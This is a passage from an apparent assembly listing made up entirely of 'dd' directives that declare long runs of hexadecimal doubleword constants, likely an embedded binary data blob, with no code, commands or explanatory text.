0EB75949h, 611DE1ABh, 51889A38h, 790B6603h, 0C88FC743h dd 714A610h, 3758E1A5h, 0E4069159h, 8EBD4092h, 4D786599h dd 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h dd 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh, 63760022h dd 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h, 1F86D71h dd 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h, 4980CDD8h dd 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh, 5513B2ECh dd 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h, 0CCB3DF01h dd 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h, 54B34B33h dd 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh, 71D3A009h dd 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh, 0C71C6300h dd 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h, 13B07E00h dd 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h, 7EFDDA92h dd 90C916h, 0D302D088h, 49F3D69Dh, 18000574h, 955B1C36h dd 24588496h, 28FFF01h, 4E1E2B2Eh, 0C1574740h, 2894200h dd 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h, 0FD45140h dd 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h, 1F5888FDh dd 43A63C24h, 2149B11h, 0D15298D0h, 8034F03Bh, 0B948A2FFh dd 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h, 39EE0200h dd 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h, 3A00D845h dd 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h, 3C00E340h dd 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h, 4D7F0326h dd 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h, 6F2A8066h dd 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h, 8230014h dd 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h, 1BAC2040h dd 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h dd 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h, 0C415BB86h dd 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh, 0F1071EA8h dd 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h, 83E9D5BEh dd 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah, 48A0AC52h dd 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h, 2B8E2699h dd 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h, 0B2C4396h dd 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh, 0A1575A00h dd 50CFFD2h, 83CD3B24h, 87D30023h, 0F210D455h, 127D600h dd 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h, 0B376871Dh dd 0C884B900h, 17E902h, 0A2DD47E8h, 7E82F0BCh, 0B143A300h dd 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h, 81430400h dd 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h, 0D05C20F4h dd 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h, 7A000BFCh dd 0C9535F84h, 2E8822h, 0B8C10104h, 4E603F10h, 3437BF1Fh dd 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h, 90011D45h dd 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh, 0FDC44BAFh dd 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch, 96F809A4h dd 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h, 0C6B055h dd 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh, 517D0332h dd 0D444C960h, 0F77E88B0h, 3F509600h, 225BA38h, 0A786007Bh dd 6C8331C1h, 0F000CD71h, 3624EB62h, 53FE04h, 0F7E88AFBh dd 4B1E433Ah, 0A078756Fh, 8CE2FF03h, 11D507FBh, 0E0DE9421h dd 7EF0E599h, 84233200h, 31D016A9h, 96544C9Eh, 4A210075h dd 20622464h, 97EA433Ch, 18850400h, 0B2557329h, 486A02F3h dd 2BF0F449h, 35C5CBE0h, 90A93700h, 93075DD3h, 2AE10010h dd 5FEB5530h, 0BD008018h, 2FD73B3Eh, 0E30D72h, 730E1F3Dh dd 2ACAC106h, 81FEBECh, 87C3F83Ah, 0E8E6E375h, 5E9F8Eh dd 0DC102DC0h, 0F61CE881h, 16442200h, 0BC88EFC3h, 7B92004Fh dd 84FE2D2Ah, 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h, 89853F42h dd 9CF58C81h, 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh dd 0EE4692Ch, 5427D2A5h, 89051360h, 12006BA4h, 3C9FFB5Bh dd 1107053h, 88E22A11h, 0D9182134h, 4C0DD851h, 87493800h dd 50A28C91h dd 907515h, 8041FAD2h, 406AF633h, 30FFE21Dh, 902D7580h dd 0F66070Bh, 5A4D3881h, 78832400h, 7400E03Ch, 82801E4Bh dd 768F303h, 5615FC99h, 8108A023h, 4500503Eh, 27414C6h dd 38F6B572h, 3CF069FCh, 24006AF0h, 0EB4EBB28h, 0FE744A5Dh dd 1A83121Ch, 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh dd 0EB730C62h, 7839F602h, 6031B849h, 5021F8FCh, 79E7C53Fh dd 34BA3E46h, 91005FD8h, 525AB774h, 0D5002367h, 8E037F86h dd 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h, 0D103DD33h, 7B84CF21h dd 9C963B04h, 0E490E58Bh, 0C4C5700h, 0BE006C5Bh, 4EC426A3h dd 265EA10h, 0D08FABBCh, 0AA406982h, 900F4916h, 770A120h dd 6B77880Ah, 0C689AC90h, 31FC020Eh, 0CACF49C9h, 0B2C09740h dd 0C87030FCh, 19E98800h, 0B6F28AF1h, 66182708h, 784BA077h dd 89351209h, 440E0C34h, 0DA1C4275h, 9B803E80h, 0D2F75BD3h dd 25D100E4h, 57AD089h, 0B928C8ECh, 4B00C4B7h, 72D54442h dd 6B0EBh, 2ECBE1F3h, 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h dd 33135CEAh, 0AF530100h, 58AE9E35h, 28680FA0h, 5C60B55Fh dd 50895294h, 59B18500h, 8A0BD123h, 0D8800002h, 0A126758h dd 42F05F2Eh, 0F0754905h, 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h dd 79A55401h, 0E5957458h, 29FD7280h, 5BC85614h, 0D7FCD200h dd 9857701Ah, 78402E4Ch, 6040729h, 0F44AF0A3h, 0BF00FE41h dd 1D17BD82h, 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h dd 1B770019h, 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh dd 86EFD81Dh, 54971100h, 3C3969Bh, 8A0A9BCh, 0D1D848EBh dd 2A383988h, 16E6F91Bh, 52432D00h, 0E923BCC7h, 20B8F2h dd 18583BBDh, 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h dd 8394E22Dh, 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h dd 0B871E645h, 13F270B5h, 173EFE08h, 272F0039h, 0BAF7E07Eh dd 893055FEh, 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h dd 0CD9E567Ch, 6A513800h, 9A9C73h, 95880813h, 977CB85Ah dd 0C5BBF400h, 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh dd 802C3F8Ah, 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h dd 65E4C800h, 0DFBCBA95h, 7C60000Bh, 44AE545Fh, 0AD7BE093h dd 6972000h, 1A2643C6h, 4EB0001h, 7893DD0Dh, 540022CCh dd 2C085011h, 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h dd 0F34E8DD6h, 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h dd 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h, 0D5C5876Bh dd 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h dd 1EBB92D4h, 6328100h, 8E004E4h, 0D81F00DCh, 0A8F355D3h dd 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh, 4F1A180h dd 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h dd 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh dd 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h, 0F64A05BCh dd 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h dd 0EA484097h, 0CE223746h, 750058F4h, 196577EEh, 514B011h dd 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h, 0EBE0176h dd 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h dd 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h dd 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh dd 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h dd 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh dd 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h, 5C38591Eh dd 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h dd 3EC510Bh, 454500B5h, 1E05BAD4h, 5077D2Eh, 0FEAA81C4h dd 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh dd 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h, 8D2B60FBh dd 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h dd 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h dd 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h dd 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h dd 334CCD38h, 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h dd 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h dd 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh dd 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h dd 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h, 29EC4B35h dd 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh, 7F319177h dd 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h dd 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h, 0A94210h dd 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h dd 0E01A57FCh, 293865h, 0D8DB3BA7h, 345D36E3h, 6C12A5EEh dd 0BBF49Bh, 6A0FE00Eh, 0EBEC9D01h, 1A0A9900h, 0ABC48688h dd 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h dd 0EAD7C0h, 994AD02Dh, 0A436A010h, 763E8800h, 7D540AFDh dd 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h dd 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h dd 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h dd 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h dd 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h dd 669CDC88h, 7CCF842h, 6C4617B6h, 0A034B021h, 64394C9Eh dd 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh dd 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h dd 13AEDCCh, 54203D61h, 0F8430C7Fh, 8FA34B1h, 0C422B900h dd 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h dd 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h dd 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh, 1EE83724h dd 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah dd 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h dd 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h, 0BF69D852h dd 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh dd 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h dd 0AD8D79h, 28FCD489h, 9C3A7D72h, 572EEA00h, 86CA3E62h dd 0C9113EF4h, 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h dd 0C74A8B28h, 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h dd 2071740Ah, 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h dd 0CBC70D14h, 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h dd 1C6CEFh, 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh dd 0EE3AE1B5h, 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h dd 0D875CBC9h, 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh dd 52E22C92h, 0A46DA7h, 0B3446BEFh, 0C308BB43h, 0CA535026h dd 0F53B1700h, 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h dd 0A7B052B2h, 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh dd 9007D0Eh, 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh dd 0C20146F0h, 6900E8ECh, 1505ED39h, 0FE388934h, 65C31FBDh dd 6581E542h dd 0E0A00E6Eh, 2B00DE8Bh, 81E41C5Dh, 714FBh, 646885BDh dd 162F8629h, 8AEAAC00h, 0E455121Ch, 4A4800F7h, 278358E0h dd 2B3B04EBh, 5F9E9F68h, 7D19F3C0h, 0F05497h, 0B4517F52h dd 38783644h, 324638h, 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h dd 5C5F0A00h, 42F29007h, 0F3A00D7h, 0ABD0EC09h, 0A6000354h dd 0FCC34A5Eh, 7C75F7F0h, 17E51753h, 42470030h, 0B8A0D73Ah dd 0DF822900h, 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h dd 0DA19A10Fh, 3CA900EDh, 0FD3E8Bh, 9A708845h, 0C94F943Ah dd 1241520Eh, 0F4538024h, 284ADCh, 6389E2C1h, 3C7B8E5Dh dd 3B7CE800h, 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh dd 34A5A5Bh, 0F16886E4h, 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh dd 0D9B5001Ch, 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h dd 0C49D5100h, 45EB3E70h, 34A97D0Eh, 35C07EE4h, 2147D3BDh dd 506F00E0h, 2F58107Ah, 93F8B702h, 0FEE96E05h, 0CB010FFFh dd 0C231A26Ah, 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh dd 0F8DC00BBh, 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh dd 1331803Bh, 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h dd 0BB4EDF1Eh, 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh dd 4C7D62AEh, 7986E34Fh, 6DDCE03h, 0D8ACF63Ch, 641A53h dd 0B38D702Eh, 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h dd 0F88400F0h, 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh dd 0E8830002h, 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h dd 0F00A89D0h, 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh dd 0A9165Ch, 55FC4492h, 51930Fh, 0CF10B22h, 16F8678Bh dd 0CFBE7503h, 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h dd 7D00ADB0h, 0CB51ACFCh, 972F10h, 4F022944h, 7E12A90Ch dd 8F0B870Fh, 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h dd 0E910D137h, 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h dd 0EF57519h, 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh dd 39F98443h, 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h dd 0F2F5EB8h, 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h dd 951DAC9Ch, 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h dd 0C1E1500h, 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh dd 0C80001C9h, 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h dd 0B490F485h, 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h dd 155C81Eh, 0CBD52EC9h, 0A2F91600h, 64146E09h, 7507846h dd 70965534h, 0C6B75160h, 3ED7F092h, 0FCFC73Fh, 61E9E0E5h dd 6C79FE9Fh, 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h dd 5C087D00h, 3F840ADh, 0B93500B4h, 0EF8B0689h, 0A5EE795Dh dd 4B437000h, 460307C0h, 0C3E0048h, 0F02B0A33h, 0E800244Ch dd 592556AFh, 12EB007h, 0C8471F8Ah, 0E44E4034h, 49004423h dd 16051F2h, 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h, 0BF366425h dd 1A296A80h, 185FE17h, 72F107A6h, 0D08E924Dh, 0EB007534h dd 0D04AD58Bh, 20BA61h, 0E36E9E65h, 408D85E1h, 80CFAA00h dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh, 0C8D6ADB2h dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h, 0BFFE0156h dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h, 0C3F43CE9h dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh, 0D9008275h dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h, 9FAB7200h dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh dd 0C7555Ah, 8870540Eh, 3C9EDF8Fh, 0FF72E300h, 5DADC815h dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h dd 7222DCh, 0AF202414h, 0E8DBF93Bh, 468CF50Ah, 0DF05FE52h dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh, 22261993h dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h, 111F32E3h dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh, 4E00A471h dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h, 60230400h dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h, 5FEB2CF9h dd 117865h, 0BFE65AF1h, 0BB245818h, 7C8270BFh, 827C1CE8h dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h, 5F2400D5h dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h dd 57C1564h, 51E4B816h, 0FC30D205h, 90B0897Fh, 0ABE80041h dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh dd 1FF200Fh, 558DB13Dh, 80A54724h, 13FA8347h, 0BF089916h dd 438CA500h, 110C648h, 0AD4A3063h, 0E8A8C40Eh, 0B2002A69h dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h dd 217E3B6Ch, 6580898h, 0E0001486h, 0A9298E0Bh, 3F407DDCh dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h, 0BBB32927h dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh, 8DFCA54Bh dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h, 5DC62CBCh dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh, 3B974014h dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch, 85EA1465h dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h, 40E59D03h dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h, 770740DEh dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h, 14046B22h dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh dd 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h dd 90AD9344h, 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h dd 421C8028h, 27038C3h, 9678732Eh, 6B1EDD00h, 201018h dd 0EB7C74A7h, 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh dd 4C7200EFh, 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch dd 0EE4B54D8h, 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h dd 6CA2E407h, 0ACB0A943h, 84258Ah, 5419A457h, 4D68809h dd 0BA442039h, 7826DC5Ah, 85CCC00h, 97948C9Ch, 80960041h dd 14819844h, 38000988h, 1C08119Ah, 467FE8h, 109BB802h dd 29A27436h, 8F32093Eh, 0C7A6219Ah, 0F830C458h, 0E9006C3h dd 0C605111h, 87B009A0h, 460410Eh, 7171860h, 0A13600E8h dd 8C1B0C02h, 1A00DC10h, 21CCB408h, 0EAD40984h, 3A47519h dd 201F4050h, 0D8F38088h, 23D0F0DFh, 1100A081h, 4022E34h dd 0E82F7C22h, 5446004Ch, 9C49932h, 800516Ch, 22A4913Ch dd 5C2074h, 942C4457h, 0F8116489h, 0BC026600h, 6239DC26h dd 100900ACh, 52E00353h, 5A0E7933h, 0AF495931h, 90C0204h dd 0F460C124h, 7B38A320h, 0A8086164h, 0D4204137h, 0B10ECCC6h dd 66B8CB40h, 0E8C88D2h, 980870C8h, 11DC84E0h, 0CC1D1B48h dd 873FD9E0h, 1059E744h, 21F96050h, 2A18001Ch, 0CC29ECA8h dd 11315408h, 2B744824h, 0BE2330h, 75D17632h, 14EC6405h dd 4AC7ACB8h, 2670023Fh, 7A6359ACh, 0A828007Ch, 0A7C43818h dd 5B00F008h, 0F411C081h, 0A021B15Eh, 3026295h, 4C70253Ch dd 0A8D1409Ch, 50437089h, 2007657Eh, 58488824h, 51766CF1h dd 74A46C80h, 0AC12DC89h, 6DFC2212h, 20462C00h, 0C64B972h dd 58755171h, 810AA3B8h, 0D5891744h, 0B8261D00h, 1E117CC6h dd 9E43554Ah, 0DA440B4h, 4707E817h, 0E170280Eh, 6AC24225h dd 0A787F7D0h, 0DD010ACCh, 1C32007Ch, 0EC08B13h, 1558408Dh dd 0C6010013h, 31181F84h, 821000Ch, 32032480h, 52E048E6h dd 746E7500h, 20656D69h, 0E27200E4h, 83DAE76Fh, 0EAFC6101h dd 863B3000h, 18455140h, 80112DBFh, 80191B57h, 0B5413938h dd 57805E5Ch, 0DEC0120h, 0A00A1D55h, 58C5C14Eh, 319C0C56h dd 0F8AE31B8h, 1007D430h, 1FC1F927h, 0F3911C23h, 0E20AD81Eh dd 1897001Dh, 7CF001ABh, 6C00A466h, 105AE433h, 0B70907ECh dd 3896DEh, 6C05265Ch, 4C185B66h, 7C006F74h, 128C8984h dd 9C092494h, 8791A448h, 0BCF3B475h, 0FBCCFBC4h, 0FBDCFBD4h dd 0FBECFBE4h, 4FCF8F4h, 0C5C0140h, 1C121489h, 2C48C424h dd 22349107h, 4C17443Ch, 0F81754F1h, 6CED64EDh, 0F67C6F70h dd 8C120584h, 824A9424h, 0BC80E5BDh, 5390408h, 8E641C00h dd 6A236547h, 5FA83E89h, 48605403h, 0C0F75808h, 6411610Ch dd 0E2BCC803h, 0B0316214h, 46801Ch, 88E02363h, 38C46494h dd 1FEC7200h, 306548E2h, 8C5E00F0h, 11660423h, 100D560h dd 37842A93h, 0E500D14h, 4B4A4847h, 4E4D4C02h, 534705FFh dd 585737C0h, 0A056005Ah, 454104ECh, 4F1C6A49h, 6301B811h dd 68676664h, 6C6B80EBh, 0AF6E5A6Dh, 74052F00h, 17A7877h dd 61200176h, 606F6965h, 9160B998h, 0C4A010DCh, 0A7AC0022h dd 0C6E80901h, 740E84AAh, 0E0315132h, 71B09840h, 9EB0FFh dd 0C8101101h, 30912009h, 44312200h, 2F388C34h, 69070041h dd 33E8C79Ah, 0B001E90Fh, 19F3F0F2h, 4520A490h, 1D2B90B8h dd 0C0F822D4h, 3C45581Ch, 741724DEh, 30408C48h, 0ECD444BCh dd 59040288h, 34121881h, 6420FA8Eh, 94227C91h, 0FFA84407h dd 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh, 6B707AFEh, 4B3E1D00h dd 0AF51C049h, 391A1CB6h, 931500F4h, 1B926CB0h, 5B78B424h dd 95553B00h, 708436F7h, 86B8E4h, 0CE0D4AD2h, 0F501DD09h dd 0E3CD5300h, 601DB413h, 0F820006Ch, 0A4225027h, 24009B03h dd 41659885h, 0F95018Fh, 728409E8h, 70589907h, 4070084Ch dd 8900737Fh, 0C5FF1C88h, 7CA3F003h, 75C80021h, 0A43110BEh dd 0A67EE408h, 1933D001h, 70EC09E0h, 0BA740D4h, 0F849CCC8h dd 90D7A287h, 0AD0A802Ch, 4A96C06h, 3E60A5FEh, 248EA838h dd 68E35409h, 84B87412h, 0B5A89048h, 0C80345B8h, 964C033h dd 0EB32EB21h, 4442E83Ch, 0B35A0350h, 0D2C08A24h, 3E08B590h dd 152981Eh, 3020779h, 6020504h, 0A266007h, 0D0C0E0Bh dd 10400E0Fh, 7894389Ch, 0A403BEBAh, 0C401811h, 0C40B99B4h dd 7BD02620h, 310D248Dh, 105C030Eh, 0E09B0E34h, 2001C0ACh dd 90E61294h, 0A8021376h, 1A6C3616h, 9C2D6019h, 1F401C80h dd 7022C184h, 0F77811CCh, 0A024B1D7h, 0C826E488h, 7A279924h dd 20192801h, 6E8954D9h, 3B003160h, 10012E34h, 3C033F1Eh dd 0E0EC118Fh, 0B0023308h, 34483E22h, 2F6892h, 2C36317Dh dd 9009937h, 0C1399032h, 1EC4023Bh, 0C0B4063Dh, 5C874C3Eh dd 400C8CCh, 0B15A448Bh, 37714B0h, 639C1864h, 0E9B03038h dd 311FDC73h, 700019D4h, 785DD9BEh, 0F284E89Eh, 20AE0004h dd 79CC6398h, 0C4CA2E4h, 4411003Fh, 399C5676h, 995C3A66h dd 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h, 3652400h, 0C4793310h dd 4807519h, 0DC592CB1h, 12218022h, 422486E0h, 0D200B088h dd 5C809219h, 9300053h, 3C247214h, 89161260h, 6003992Ch dd 0A8A5D481h, 0E2195C2Eh, 442000Ch, 9948515Ah, 0D07411BCh dd 0F9C4B93Ah, 26D9A500h, 65193440h, 5809007Ch, 0D4889C12h dd 0A000941Ch, 604A90EAh, 366AC2Ah, 41500998h, 8DC057F7h dd 0D9F82808h, 49145900h, 